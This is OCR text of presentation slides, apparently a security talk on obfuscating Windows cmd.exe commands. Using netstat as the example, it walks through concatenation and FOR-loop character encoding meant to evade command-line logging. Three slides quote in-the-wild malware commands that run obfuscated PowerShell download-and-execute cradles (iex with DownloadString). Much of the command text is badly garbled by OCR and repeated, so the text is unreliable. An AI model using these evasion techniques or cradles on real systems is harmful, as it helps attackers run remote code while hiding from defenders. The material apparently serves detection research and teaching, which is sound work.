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Payload Obfuscation 1 of 4: Concatenation

e cmd /c "set com=netstat /ano&&echo %com%"

C:\>cmd /c "set com=netstat /ano&&echo %com’%"
J%COM%

C:\>cmd /c "set com=netstat /ano&&[ShMl echo %com%"
netstat /ano

C:\>cmd /c "set com=netstat /anol&EEIIAY echo %com%"
netstat /ano




Payload Obfuscation 1 of 4: Concatenation

« cmd /c "set com=netstat /ano&&call %com%"

C:\>cmd /c "set com=netstat /ano&&echo %com’%"
J%COM%

C:\>cmd /c "set com=netstat /ano&&[ShMl echo %com%"
netstat /ano

C:\>cmd /c "set com=netstat /anol&EEIIAY echo %com%"
netstat /ano




Payload Obfuscation 1 of 4: Concatenation

« cmd /c "set com=netstat /ano&&call %com%"

C:\>cmd /c "set com=netstat /ano&&[EEEM %com%"

Active Connections

Proto Local Address Foreign Address State

TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49664 ©0.0.0.0:0 LISTENING




Payload Obfuscation 1 of 4: Concatenation

« cmd /c "set coml=net&&set com2=stat&&set com3= /ano&&call
%com1%%com2%%com39%"

Image: CA\Windows\System32\cmd.exe
CommandLine: cmd /c "set com1=net&&set com2=stat&&set com3= /ano&&call %%com1%%%%com?2%%%%com3%%"

Parentimage: C:\Windows\System32\cmd.exe
ParentCommandLine: cnd /c "set comT1=net&&set com2=stat&&set com3= /ano&&call %com1%%com2%%com3%"

| /



Payload Obfuscation 1 of 4: Concatenation

« cmd /c "set coml=net&&set com2=stat&&set com3= /ano&&call
%com1%%com2%%com39%"

http://www.danielbohannon.com/blog-1/2018/3/19/test-your-dfir-tools-sysmon-edition

#TestYourTools:

« Sysmon EID 1 CommandLine adds duplicate %'s
 EventVwr.exe

« PowerShell's Get-WinEvent

Image: CA\Windows\System32\cmd.exe l [ I I I I

CommandLine: cmd /c "set com1=net&&set com2=stat&&set com3= /ano&&call %%com1%%%%com?2%%%%com3%%"

Parentimage: C:\Windows\System32\cmd.exe
ParentCommandLine: cnd /c "set comT1=net&&set com2=stat&&set com3= /ano&&call %com1%%com2%%com3%"

| /


http://www.danielbohannon.com/blog-1/2018/3/19/test-your-dfir-tools-sysmon-edition

Payload Obfuscation 1 of 4: Concatenation

« cmd /c "set coml=net&&set com2=stat&&set com3= /ano&&call
%com1%%com2%%com3%"

|

* Reorder substrings
« Setinto single final env var

99



Payload Obfuscation 1 of 4: Concatenation

« cmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call
%com1%%com2%%com3%"

|

 Reorder substrings
« Setinto single final env var

100



Payload Obfuscation 1 of 4: Concatenation

« cmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

|

« Reorder substrings
« Set into single final env var

101



Payload Obfuscation 1 of 4: Concatenation

« cmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

Final syntax l Invoke-DOSfuscation arguments

abhowphE
ahwN P
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Payload Obfuscation 1 of 4: Concatenation

« cmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

Final syntax l Invoke-DOSfuscation arguments

call %final% (default when possible)

1.
2.
3.
4
5

1.
2.
3.
4
5
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Payload Obfuscation 1 of 4: Concatenation

« cmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

Final syntax l Invoke-DOSfuscation arguments
1. call %final% 1. (default when possible)
2. cmd /c %final% 2. -FinalBinary cmd
3. 3.
4. 4.
5. 5

104



Payload Obfuscation 1 of 4: Concatenation

« cmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

Final syntax l Invoke-DOSfuscation arguments

call %final% (default when possible)
cmd /c %final% -FinalBinary cmd
call echo %final% | cmd -FinalBinary cmd -StdIn

abhowphE

abhowphE
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Payload Obfuscation 1 of 4: Concatenation

« cmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

Final syntax l Invoke-DOSfuscation arguments

call %final% (default when possible)

cmd /c %final% -FinalBinary cmd

call echo %final% | cmd -FinalBinary cmd -StdIn
call powershell "%final%" -FinalBinary PowerShell

abhowphE

abhowphE
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Payload Obfuscation 1 of 4: Concatenation

« cmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

107

Final syntax l Invoke-DOSfuscation arguments

abhowphE

call %final%

cmd /c %final%

call echo %final% | cmd

call powershell "%final%"

call echo %final% | powershell -

abhowphE

(default when possible)
-FinalBinary cmd
-FinalBinary cmd -StdIn
-FinalBinary PowerShell

-FinalBinary PowerShell -StdIn

/



Payload Obfuscation 1 of 4: Concatenation

« cmd /c "set com3= /ano&&set com2=stat&&set coml=net&&call set
final=%com1%%com2%%com3%&&call %final%"

Invoke-DOSfuscation functions also
wrap all the building block techniques
iInto each input command...
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Payload Obfuscation 1 of 4: Concatenation

e CMd /C "sEt coM3= /ano&&SEt cOm2=stat&&seT CoM1l=net&&calLl SeT
fINAI=2%COM1%%cOm2%%coM3%&&CcAIL %FinAl%"

Random case Invoke-DOSfuscation functions also
. wrap all the building block techniques
. iInto each input command...
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Payload Obfuscation 1 of 4: Concatenation

e CMd/C"sEt coM3= /ano&&SEt cOm2=stat&&seT CoMl1l=net&&call SeT
fINAI=%COM1%%cOm2%%coM3%&&CcAIL %FinAl%"

Random case Invoke-DOSfuscation functions also
Whitespace (-/+) wrap all the building block techniques
. iInto each input command...
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Payload Obfuscation 1 of 4: Concatenation

e CMd /C " sEt coM3=/ano&& SEt cOm2=stat&& seT CoMl=net&& call
SeT fINAI=%COM1%%cOm2%%coM3%&& cAIL %FinAl% "

« Random case Invoke-DOSfuscation functions also
*  Whitespace (-/+) wrap all the building block techniques
. iInto each input command...
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Payload Obfuscation 1 of 4: Concatenation

e : CMd,; ,/JC ", : :sEt coM3=/ano&&,,,SEt cOm2=stat&&;:;;seT CoMl=net&&,
‘caLl,;,.SeT fiNAI=%COmM1%%cOm2%%coM3%&&; , ,CAIL, ;, :%FinAl% "

« Random case Invoke-DOSfuscation functions also
*  Whitespace (-/+) wrap all the building block techniques
« Comma & semicolon into each input command...
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Payload Obfuscation 1 of 4: Concatenation

o : CAMdA,: AACAAM - SAEEA A cOMM3=M Manf0&&,,, SAEN A
AcOMM2=AsMta™M&&:::sMeTAr A CroMIA="nMet&&, cMaLl?; SherT AN
fINNAIN="060COM112%%crOM2%"%croM37%&&E: , ,CPAILA, : A :%FIMnAINY "

« Random case Invoke-DOSfuscation functions also

*  Whitespace (-/+) wrap all the building block techniques
« Comma & semicolon into each input command...

 Caret
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Payload Obfuscation 1 of 4: Concatenation

* nCMA?,; ANCANT ((GL((SMEEN A co™M3="M Manto)) )))&&,,(,SME A
rcOMm2="s"MaM)&&(;(;;she TN A CroMIN="net) ) &&, (( ;caLl,?;,S™e T A 4
fi*NAIN="%COmM1"%%c "Om2%"%c"oM3"%))&&; (, ,(c*AIL*, ;,* ;%Fi"nAlN%) ) "

« Random case Invoke-DOSfuscation functions also

*  Whitespace (-/+) wrap all the building block techniques
« Comma & semicolon into each input command...

 Caret

« Parentheses
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Payload Obfuscation 1 of 4: Concatenation

* ;nCMA?,; ANCANY((GL((SMEEA A co™M3=M Man”o)) )))&&,,(,SMEN A
AcOMm2="sMaM) &&(;(;;8e TN A CroMIN="net) ) &&, (( ;caLl,?;,S™e T A A
fiI*NAIN="%COmM1"%%c "OmM2%"%c"oM3"%))&&; (, ,(CrAIL™, ;N ;%Fi*nAlN%) )

netstat /ano

1t

CMd ,; JC ", (((,( :(SPELA A cOMM3=A [AManno)) )))&E,,(,SAE A
rcOMNM2="sMaM)&&(;(;;sheTAr A CroMIN="nMet) ) &&, (( ;c aLl,»;, S e T »
A FINNAIN=AY6%COM1A%%%%C OM2%% %% oM37%9%))&&: (, ,(CPAILA, ;A
06%Fi*NAIN%Y) ) "

115 /



Payload Obfuscation 1 of 4: Concatenation

e ;,,CMd?,; ANCANTC((G((SMEE AN cOMM3=M [Manto)) ))&&,,(,SMEN A
AcOMm2="sMaM)&&(;(;;s™e T A CroMIN="nMe" ") ) &&, ((;c™aLl™;,,SherT AN
fI"NAIN="%COmM1"%%c "Om2%"%c "oM3"%))&&; (, ,(cMAILA, ;N ;% FI*"nAlN%) ) "

ne'""tstat /ano

1t

CMd ,: JC ", ((C,(:(SEt A~ cOMM3=M /Manto)) )))&&,,(,SNE A
AcOMNM2="sMaM)&&(;(;;sheTAr A CroMINA="nMe""t) ) &&, (( ;c™aLl,®;,S"e T
A A FIANAIN=A%COM1A%%%%C A OM2%% %% oM37%9%))&&; (, ,(CPAILA,
A :0606FiANAINY%) )
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Payload Obfuscation 1 of 4: Concatenation

e ;,,CMd?,; ANCANTC((G((SMEE AN cOMM3=M [Manto)) ))&&,,(,SMEN A
AcOMm2="sMaM)&&(;(;;s™e T A CroMIN="nMe" ") ) &&, ((;c™aLl™;,,SherT AN
fI"NAIN="%COmM1"%%c "Om2%"%c "oM3"%))&&; (, ,(cMAILA, ;N ;% FI*"nAlN%) ) "

ne""tstat /ano
VS
n"e"tstat /ano
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Payload Obfuscation 1 of 4: Concatenation

e ;,,CMd?,; ANCANTC((G((SMEE AN cOMM3=M [Manto)) ))&&,,(,SMEN A
AcOMm2="sMaM)&&(;(;;s™eTr A CroMIN="n"Me"t) ) &&, (( ;caLl™;,SherT AN
fI"NAIN="%COmM1"%%c "Om2%"%c "oM3"%))&&; (, ,(cMAILA, ;N ;% FI*"nAlN%) ) "

ne""tstat /ano
VS
n"e"tstat /ano
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Payload Obfuscation 1 of 4: Concatenation

e ;,,CMd?,; AMNCAN"((G,((SMEE AN cOMM3=AN
cOM"m2="sMaM)&&(;(;;seTr A CroM1N="n"
fI"NAI"="%COmM1"%%c "Om2%"%c oM3"%))

"0)) ))&&,,(,S"EtM A
"t) ) &&, ((;c”aLl?;,S™herT AN
(CMAILN, N %FIMnAING) )

If we have to pair double ne""tstat /ano
guotes, how can we unpair VS
In final variable? n"e"tstat /ano
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Payload Obfuscation 1 of 4: Concatenation

e ;,,CMd?,; ANCANTC((G((SMEE AN cOMM3=M [Manto)) ))&&,,(,SMEN A
AcOMm2="sMaM)&&(;(;;s™eTr A CroMIN="n"Me"t) ) &&, (( ;caLl™;,SherT AN
fI"NAIN="%COmM1"%%c "Om2%"%c "oM3"%))&&; (, ,(cMAILA, ;N ;% FI*"nAlN%) ) "

« Steps for unpaired quotes ne""tstat /ano
1. VS
:2%- n"e"tstat /ano
4
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Payload Obfuscation 1 of 4: Concatenation

e ;,,CMd?,; ANCANTC((G((SMEE AN cOMM3=M [Manto)) ))&&,,(,SMEN A
AcOM"m2="sMaM)&&((;;sNeTAr A CroMIN="An""Me" ") ) &&, (( ;cMaLl?;,She T A A
fI"NAIN="%COmM1"%%c "Om2%"%c "oM3"%))&&; (, ,(cMAILA, ;N ;% FI*"nAlN%) ) "

« Steps for unpaired quotes ne""tstat /ano
1. Double up quotes VS
g- n"e"tstat /ano
4,

121 /



Payload Obfuscation 1 of 4: Concatenation

o ;,,CMd™,; AACANT((G,((SMEE AN cOMM3=M [Manto)) )))&&,,(,SMEE A
AcOMm2="s"a™M)&&(;(;;s™eTr A CroMIN="n""Me""t) ) &&set quotes=""&&, ((
.cMaLln;, SherT M M IfNAIN="%COmM1%%c "Om2%"%c "oM3"%))&&; (, ,(cMAILA, ;A
% FI"nAI"%) ) "

« Steps for unpaired quotes ne""tstat /ano
1. Double up quotes VS
2. Setquotes in env var n"e"tstat /ano
3.
4
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Payload Obfuscation 1 of 4: Concatenation

e ;,,CMd?,; ANCANTC((G((SMEE AN cOMM3=M [Manto)) ))&&,,(,SMEN A
AcOMm2="sM"Ma™M)&&(;(;;s”eTr A CroMIN="n"""Me""t) ) &&set quotes=""&&, ((
.c™aLl ™, SMe T A M INAIN="%COmM1"%%c "Om2%"%c oM3"%))&&; (, ,(c AILY, ;A
%FI"nAIN %)) "

« Steps for unpaired quotes ne'""tstat /ano
1. Double up quotes VS
2. Setquotes in env var n"e"tstat /ano
3. Char substitution
4
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Payload Obfuscation 1 of 4: Concatenation

e ;,,CMd?,; ANCANTC((G((SMEE AN cOMM3=M [Manto)) ))&&,,(,SMEN A
AcOMm2="sM"Ma™M)&&(;(;;s”eTr A CroMIN="n"""Me""t) ) &&set quotes=""&&, ((
.c™aLl ™, SMe T A M INAIN="%COmM1"%%c "Om2%"%c oM3"%))&&; (, ,(c AILY, ;A
QFIMnAIN"" = %)) "

« Steps for unpaired quotes ne'""tstat /ano
1. Double up quotes VS
2. Setquotes in env var n"e"tstat /ano
3. Char substitution
4
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Payload Obfuscation 1 of 4: Concatenation

e ;,,CMd?,; ANCANTC((G((SMEE AN cOMM3=M [Manto)) ))&&,,(,SMEN A
AcOMm2="sM"Ma™M)&&(;(;;s”eTr A CroMIN="n"""Me""t) ) &&set quotes=""&&, ((
.c™aLl ™, SMe T A M INAIN="%COmM1"%%c "Om2%"%c oM3"%))&&; (, ,(c AILY, ;A
QFI"nAIN""=%quotes:~0,1%%) ) "

« Steps for unpaired quotes ne'""tstat /ano
1. Double up quotes VS
2. Setquotes in env var n"e"tstat /ano
3. Char substitution
4
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Payload Obfuscation 1 of 4: Concatenation

e ;,,CMd?,; ANCANTC((G((SMEE AN cOMM3=M [Manto)) ))&&,,(,SMEN A
AcOMm2="sM"Ma™M)&&(;(;;s”eTr A CroMIN="n"""Me""t) ) &&set quotes=""&&, ((
;c’\aLI,’\;,S’\e’\y\ a fi’\NAI":"yOml"%%c"OmZ%"%c"oMS"%))&&; (, ,(crAILN, ;A

QoFIMnAIN"" =gRequotes:~0,13%) ) "
« Steps for unpaired quotes ne""tstat /ano
1. Double up quotes VS

3. Char substitution
4
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Payload Obfuscation 1 of 4: Concatenation

e ;,,CMd?,; MISTA ANACAN"((G,((SMEEN N cOMM3= N Man”o)) ) &&,,(,SMEN A
AcOMm2="sta™)&&(;(;;s™eTr A CroMIN="n"""Me""t) ) &&set quotes=""&&, ((
.c™aLl ™, SMe T A M INAIN="%COmM1"%%c "Om2%"%c oM3"%))&&; (, ,(c AILY, ;A
QFI"nAIN""=%quotes:~0,1%%) ) "

« Steps for unpaired quotes ne'""tstat /ano
1. Double up quotes VS
2. Setquotes in env var n"e"tstat /ano
3. Char substitution
4

QH — Windows Vista y




Payload Obfuscation 1 of 4: Concatenation

e ;,,CMd?,; MISTA ANACAN"((G,((SMEEN N cOMM3= N Man”o)) ) &&,,(,SMEN A
AcOMm2="sta™)&&(;(;;s™eTr A CroMIN="n"""Me""t) ) &&set quotes=""&&, ((
.c™aLl ™, SMe T A M INAIN="%COmM1"%%c "Om2%"%c oM3"%))&&; (, ,(c AILY, ;A
QFI"nAIN""=lquotes:~0,11%) ) "

« Steps for unpaired quotes ne'""tstat /ano
1. Double up quotes VS
2. Setquotes in env var n"e"tstat /ano
3. Char substitution
4

QH — Windows Vista y




Payload Obfuscation 1 of 4: Concatenation

o ;,,CMA™,; IVISTA NAMCAN"((G,(G(SMEEN N cOMM3=N Man”o)) )))&&,,(,SMEN A
AcOMm2="sMta™M)&&(;(;;s”eTr A CroMIN="n"""Me""l) ) &&set quotes=""&&, ((
,chaLl,®;, She T A M INAIN="%COmM1'%%c*Om2%"%c oM3"%))&&; (, ,(cMAILA, ;A
% FIM"nAIN""=lquotes:~0,1!%) ) "

: C:\>;,,C*Md"”,; /VISTA ,~/~c» ~ ", ( ((5,( ;(s"Et ~ ~ co™M3="" /*tan”0)) )))&&,,(
« Steps for unpaired quotes et o Nt a s 88 (s (s smer s N o an ety | agect quoteemiiy
&, (( ;c~aLl,n;,seT ~ ~ Ffi~NAL ="%COM1~%%c Om2%"%c~oM3"%))&&; (, ,(c~AlL™, ;,"
1. DOUble Up QUOteS 3%Fi~nAl~:""=lquotes:~0,11%) ) "
2. Set QUOteS |n enV Val’ Active Connections
3. Chal’ SUbStitUtion Proto State
TCP .0.0.0:13 .0.0.0: LISTENING
4 7277 TCP .0.0.09: .0.0.0: LISTENING

TCP .0.0.0: .0.0.0: LISTENING

CommandLine: eSS EIRVE (6]
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Payload Obfuscation 1 of 4: Concatenation

. 1 CAMAA,; IVISTA AACA A" ((Go((SPEE A A cOMM3=M Manno)) )))&&,,(,SAE A
AcOMNmM2="s"MaMb) &&(;(;;s™eTr A CroMIN="n"""Me""t) ) &&set quotes=""&&, ((
chall A, SAerT A A fiItNAIN=A%COM1M%%C A 0M2% % oM3"%))&&: (, ,(CPAILA, @ A

Y%FirnAIN " " =lquotes:~0,11%) ) "

C:\>cmd.exe /?
Starts a new instance of the Windows command interpreter

e Steps for unpaired quotes 0 Lra ] 0] [/0], [/ViON | /V:0FF]
1. Double up quotes Corries out o ermites
2. Setquotes in env var . Nedifies th : e below)
3. Char substitution i o b (ool
Zl_ ?)?)?> Eﬁzigzethe br file to be

Sets the fo ? for more info)
Enable comm

Disable com

Enable file trs (see below)

: Disable fil ers (see below)
‘ : Enable delayed environment variable expansion using ! as the
delimiter. For example, /V:ON would allow !var! to expand the

variable var at execution time. | RLEINEISESENEEV (]l ERRETSEL I
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Payload Obfuscation 1 of 4: Concatenation

. 1 CAMAA,; IVISTA AACA A" ((Go((SPEE A A cOMM3=M Manno)) )))&&,,(,SAE A
AcOMNmM2="s"MaMb) &&(;(;;s™eTr A CroMIN="n"""Me""t) ) &&set quotes=""&&, ((
chall A, SAerT A A fiItNAIN=A%COM1M%%C A 0M2% % oM3"%))&&: (, ,(CPAILA, @ A

YFirnAIN" " =Iquotes:~0,11%) ) "

C:\>cmd.exe /?
Starts a new instance of the Windows command interpreter

e Steps for unpaired quotes « /V:ON oo Lia | 101 /9] [/V:ON | /V:OFF]

1. Double up quotes « VO Carries out

en terminates

2. Set quotes in env var . IV \ hedifies th \ e below)

. . Turns echo
3. Chal’ SUbStItUtIOﬂ o /V Eisabletlexe y Sie SEIEW)ANSI
4. Variable expansion Causes the r file to be

Sets the fo ? for more info)
Enable comm

Disable com

Enable file trs (see below)

: Disable fil ers (see below)
‘ : Enable delayed environment variable expansion using ! as the
delimiter. For example, /V:ON would allow !var! to expand the

variable var at execution time. | RLEINEISESENEEV (]l ERRETSEL I
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Payload Obfuscation 1 of 4: Concatenation

. 1 CAMAA,; IVISTA AACA A" ((Go((SPEE A A cOMM3=M Manno)) )))&&,,(,SAE A
AcOMNmM2="s"MaMb) &&(;(;;s™eTr A CroMIN="n"""Me""t) ) &&set quotes=""&&, ((
chall A, SAerT A A fiItNAIN=A%COM1M%%C A 0M2% % oM3"%))&&: (, ,(CPAILA, @ A

YFirnAIN" " =Iquotes:~0,11%) ) "

C:\>cmd.exe /?
Starts a new instance of the Windows command interpreter

e Steps for unpaired quotes « /V:ON oo Lia | 101 /9] [/V:ON | /V:OFF]

1- DOUbIe up qUOteS ¢ /VO Carries out en terminates

2. Set quotes in env var . IV \ hedifies th \ e below)
. . Turns echo
3. Char substitution Y Disable exe y (see below)
4. Variable expansion « /VISTA Causes the r file to be
° /\V/pvq : Sets the fo ? for more info)

Enable comm

* : Disable com
¢ /\V, : Enable file trs (see below)

: Disable fil ers (see below)
‘ : Enable delayed environment variable expansion using ! as the
delimiter. For example, /V:ON would allow !var! to expand the

variable var at execution time. | RLEINEISESENEEV (]l ERRETSEL I
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Payload Obfuscation 1 of 4: Concatenation

o ;,,C™Md™,; IVISTA ANNMCAN"((G,((SMEE NN cOAM3=M [Man™o)) ) &&,,(,SMEN A
AcOAm2="s"ta™)&&(;(;;s™eTr A CAoMIA="n""Me""t) ) &&set quotes=""&&, ((
,chaLl,®;, She T A M FIANAIN="%COm1* %%c*0Om2%"%c*oM3*%))&&; (, ,(cMAILA, ;A
2%FIMnAlN:""=Iquotes:~0,1!%) ) "

« Envvar names can be:
1.
2.
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Payload Obfuscation 1 of 4: Concatenation

o ;,,CMd?,; IVISTA ANCAN"((G,((SMEEL M N --$#S--="" [Man”o)) )))&&,,(,SMEN A

NIF*HN=AMAM) &E&((;;8™e TN N e, =An"Me™t) ) &&set i =""&&, ((
;chaLl N, SheNT A A RN, L. %% NE#*#1106"%--$#P--%))&&; (, ,(ChAILY, ;N
;%IIIIIIIIIIIIIII:I|II:!;;;;;;;;;:~O,1!%) ) 1

« Env var names can be:
1. Special characters
2.
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Payload Obfuscation 1 of 4: Concatenation

e 1 ,CAMdA,; IVISTA MACA A" ((G((SPEEA A =/A IAANN0)) ))&, (,SAEN A A
=As™MaM)&&(;(;;se TN N ! ="n""Me") ) &&set'  =""&&, (( ;cMaLl,N;,She/ T AN
=06 %% %N %))&&; (, ,(CPAILA, 1A %! =™=I'  :~0,11%)) "

« Env var names can be:
1. Special characters
2. Whitespace
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Payload Obfuscation 1 of 4: Concatenation

%
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Payload Obfuscation 1 of 4: Concatenation (ITW 1/3)

« Concatenation examples in the wild (1/3):

2L\ \Windows\System32\cmd.exe /c "set li@=wersh&& set gg=ell&& set
€0=-po&&" cmd /c PoC0YeREa%Y%80% -nonl -eP bypass -c iEx ((n"eW-OBJECt
(‘'n'+'Et.w'+'Ebclle'+'nT")).('do'+'wNlo'+'adst'+'ring").Invoke((‘h'+$s4+'t'+'t'+$08
+'ps:/['+...

ﬁ!/oke-Obfuscation payload
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Payload Obfuscation 1 of 4: Concatenation (ITW 2/3)

« Concatenation examples in the wild (2/3):

CmD wMic & %Co"m"S"p"Ec"% /V /c set
%binkOHOTJcSMBKkQ%=EINhmPkdO&&set WOKIGIRIIFYS=0owe r"s&&set

%zzwpVwWCTCRDVTBu%=pOwoJiQoW&&set MoCHIPULIXi%=p&.&set
%GKZajcAgQFZKRLZW%=NazJjhVIGSrXQvT&&set ="heMM&&set

%QiiPPcnDM%
%jilZiIKXbkZQMpuQ%=dipAbiiHEplZSHr&& %eCajPuLtXi%s | %okigiRiiiH%a |%6QiiP
PEABDMIYA! ".( $VeRbOsePReFERENCE.tOstRING()[1,3]+'%x'-jOin") ( (. (
ctVpshoME[4]+ctVPsHoOmME[34]+VNnLXVnL)

|

Invoke-Obfuscation payload
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Payload Obfuscation 1 of 4: Concatenation (ITW 3/3)

« Concatenation examples in the wild (3/3):

cmd.exe /C "cm~dM.ferxMe VA NC shet BBBR="er s"&" &s e
Bii="herlIr& &set” [BEA="pow &"&" s et"

B \"inn"donwsERINIGRCRINERTAL\ v 1.0\ INTEININGEIAE " & 8.
ech”o™ IEMXMN™'iex(neW-OBjecT
nEt.webCLIENt).dowNIOaDstrING(https://REDACTED")A"A)A:A AlA
- _/\nol\p/\ AAWNANN AN A

|

BBl == WindowsPowerShell\v1.0\powershell
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Payload Obfuscation 2 of 4. FORcoding

JFOR




Payload Obfuscation 2 of 4. FORcoding

B Select Command Prompt - crnd.exe /7 - O x

C:\>cmd.exe /?
Starts a new instance of the Windows command interpreter

cMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]
[[/S] [/C | /K] string]

Carries out the command specified by string and then terminates
Carries out the command specified by string but remains

Modifies the treatment of string after /C or /K (see below)

Turns echo off

Disable execution of AutoRun commands from registry (see below)
Causes the output of internal commands to a pipe or file to be ANSI
Causes the output of internal commands to a pipe or file to be
Unicode

Sets the foreground/background colors (see COLOR /? for more info)
Enable command extensions (see below)

Disable command extensions (see below)

Enable file and directory name completion characters (see below)
Disable file and directory name completion characters (see below)
Enable delayed environment variable expansion using ! as the
delimiter. For example, /V:ON would allow !var! to expand the
VEIGELIIRVETGEIES Cldlia oIl Sl [ he var syntax expands variables
at input time, which is quite a different thing when inside of a FOR

/V:0FF Disable delayed environment expansion.
Press any key to continue .
Note that multiple commands separated by the command separator '&&'




Payload Obfuscation 2 of 4. FORcoding

 cmd /c netstat /ano
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Payload Obfuscation 2 of 4. FORcoding

« cmd /v /c netstat /ano

|

IV
/V:ON
/VERBOSE
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Payload Obfuscation 2 of 4. FORcoding

« cmd /v /c netstat /ano

IS VAo T ol G BT o T R B - PR R -l emainder of the command line after
the switch is processed as a command linefRtsl=Ial-Nuusl=0E Lo} M Ne1MiNo¥-A0 lo¥-5 Kol K=
used to process quote (") characters:




Payload Obfuscation 2 of 4. FORcoding

« cmd /v /c netstat /ano

IS VAo T ol G BT o T R B - PR R -l emainder of the command line after
the switch is processed as a command linefRtsl=Ial-Nuusl=0E Lo} M Ne1MiNo¥-A0 lo¥-5 Kol K=
used to process quote (") characters:

Note that multiple commands separated by the command separator '&&'

are accepted for string if surrounded by quotes. Also, for compatibility
reasons, /X 1s the same as /E:ON, /Y is the same as /E:OFF and JG:EERRdal=
ENCREENEE. Any other switches are ignored.

#ForCompatibilityReasons #RisthenewC

/



Payload Obfuscation 2 of 4. FORcoding

\/

« cmd /v /c netstat /ano

IS VAo T ol G BT o T R B - PR R -l emainder of the command line after
the switch is processed as a command linefRtsl=Ial-Nuusl=0E Lo} M Ne1MiNo¥-A0 lo¥-5 Kol K=
used to process quote (") characters:

Note that multiple commands separated by the command separator '&&'

are accepted for string if surrounded by quotes. Also, for compatibility
reasons, /X 1s the same as /E:ON, /Y is the same as /E:OFF and JG:EERRdal=
ENCREENEE. Any other switches are ignored.

#ForCompatibilityReasons #RisthenewC

/



Payload Obfuscation 2 of 4. FORcoding

\/

« cmd /v Ir netstat /ano

IS VAo T ol G BT o T R B - PR R -l emainder of the command line after
the switch is processed as a command linefRtsl=Ial-Nuusl=0E Lo} M Ne1MiNo¥-A0 lo¥-5 Kol K=
used to process quote (") characters:

Note that multiple commands separated by the command separator '&&'

are accepted for string if surrounded by quotes. Also, for compatibility
reasons, /X 1s the same as /E:ON, /Y is the same as /E:OFF and JG:EERRdal=
ENCREENEE. Any other switches are ignored.

#ForCompatibilityReasons #RisthenewC

/



Payload Obfuscation 2 of 4. FORcoding

 cmd /v /r netstat /ano
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Payload Obfuscation 2 of 4. FORcoding

 cmd /v /r netstat /ano

1

Troll-pportunity ™
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Payload Obfuscation 2 of 4: FORcoding

« cmd Never Gonna Give You Up/vNever Gonna Let You Down/r netstat /ano
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Payload Obfuscation 2 of 4. FORcoding

« cmd \c echo %PATH%

/v Ir netstat /ano

153 /



Payload Obfuscation 2 of 4. FORcoding

« cmd \c echo %PATH%

/v Ir netstat /ano
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Payload Obfuscation 2 of 4. FORcoding

 cmd \c echo PATH%

C:\>cmd \c echo %PATH%

Active Connections

Proto
TCP
TCP
TCP

1 Address
0.0:135
0.0:445
0.0:49664

0Ca

C
0
0
0

L
0
0
0

ddress

State

LISTENING
LISTENING
LISTENING

/v /r netstat /ano

/v Ir netstat /ano

/



Payload Obfuscation 2 of 4. FORcoding

 cmd /v /r netstat /ano
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Payload Obfuscation 2 of 4. FORcoding

e cmd /v /r "set unigue=nets /ao&&..."
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Payload Obfuscation 2 of 4. FORcoding

« cmd /v /r "set URIGUE=nets /ao&&FOR POA IN (

158

l

nets J/ao
01234567

) DO..."



Payload Obfuscation 2 of 4. FORcoding

« cmd /v /r "set URIGUE=nets /ao&&FOR PGA IN (0

159

l

nets J/ao
01234567

n

) DO..."



Payload Obfuscation 2 of 4. FORcoding

« cmd /v /r "set URIGUE=nets /a0o&&FOR P8A IN (0 1

160

l

nets J/ao
01234567

ne

) DO..."



Payload Obfuscation 2 of 4. FORcoding

 cmd /v /r "set URIGUE=nets /ao&&FOR PGA IN (0 1 2

161

l

nets J/ao
01234567

net

) DO..."



Payload Obfuscation 2 of 4. FORcoding

« cmd /v /r "set BRIGUE=nets /a0&&FOR P IN (012326245607

162

l

nets J/ao
01234567

net st at

[/ ano

) DO..."



Payload Obfuscation 2 of 4. FORcoding

« cmd /v /r "set URIGUE=nets /a0&&FOR BBA IN (01232624560 7 1337) DO...

163

l

nets J/ao
01234567

net stat /[ ano I

Arbitrary
end-of-index
delimiter




Payload Obfuscation 2 of 4: FORcoding

 cmd /v /r "set URiGUE=nets /ao&&FOR Pl IN (01232624560 7 1337) DO
set final='final!unigue: ~PoA, 1!&&..."
N J

\

Appending char at
each index (J8l)
to !fif@l! env var.
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Payload Obfuscation 2 of 4. FORcoding

« cmd /v /r "set URIGUE=nets /ao&&FOR MM IN (012326245607 1337) DO
set final='final' unigue: ol 1! &&IF BBA-=1337 CALL %final:~-12%"

|

. ==1337
- EQU 1337
- GEQ 1337
- GTR 1336

Test Numeric values
IF only parses numbers when one of the compare-op operators

(EQU, NEQ, LSS, LEQ, GTR, GEQ) is used.
The == comparison operator always results in a string comparison.
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Payload Obfuscation 2 of 4. FORcoding

« cmd /v /r "set unigue=nets /a0&&FOR %AIN (012326245607 1337) DO
set final=!final'lunique:~%A,1!&&IF %A==1337 CALL %final:~-12%"

C:\>set final=!final!lunique:~6,1! && IF 6 == 1337 CALL %final:~-12%
C:\>set final=!final!lunique:~0,1! && IF © == 1337 CALL %final:~-12%
C:\>set final=!finall!lunique:~7,1! && IF 7 == 1337 CALL %final:~-12%
C:\>set final=!finall!llunique:~1337,1! && IF 1337 == 1337 CALL %final:~-12%
Active Connections

Address ' State

©:135 .0.0.0: LISTENING

1
0.
0.0:445 .0.0.0: LISTENING
0.0:49664 .0.0.0: LISTENING

Proto L
TCP 0
TCP 0
TCP 0

0OCa

C
0
0
0




Payload Obfuscation 2 of 4. FORcoding

e cmd /v /r "set unique=0OnBeFtUsS C/AaToE&&FOR %AIN (135751359 11 13
1 15 1337) DO set final=!final'lunique:~%A,1!&&IF %A==1337 CALL %final:~-
12%"
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Payload Obfuscation 2 of 4: FORcoding

e cmd /v /r "set unique=0OnBeFtUsS C/AaToE&&FOR %AIN (13575135911 13
1 15 1337) DO set final=!final'lunique:~%A,1!&&IF %A==1337 CALL %final:~-
12%"

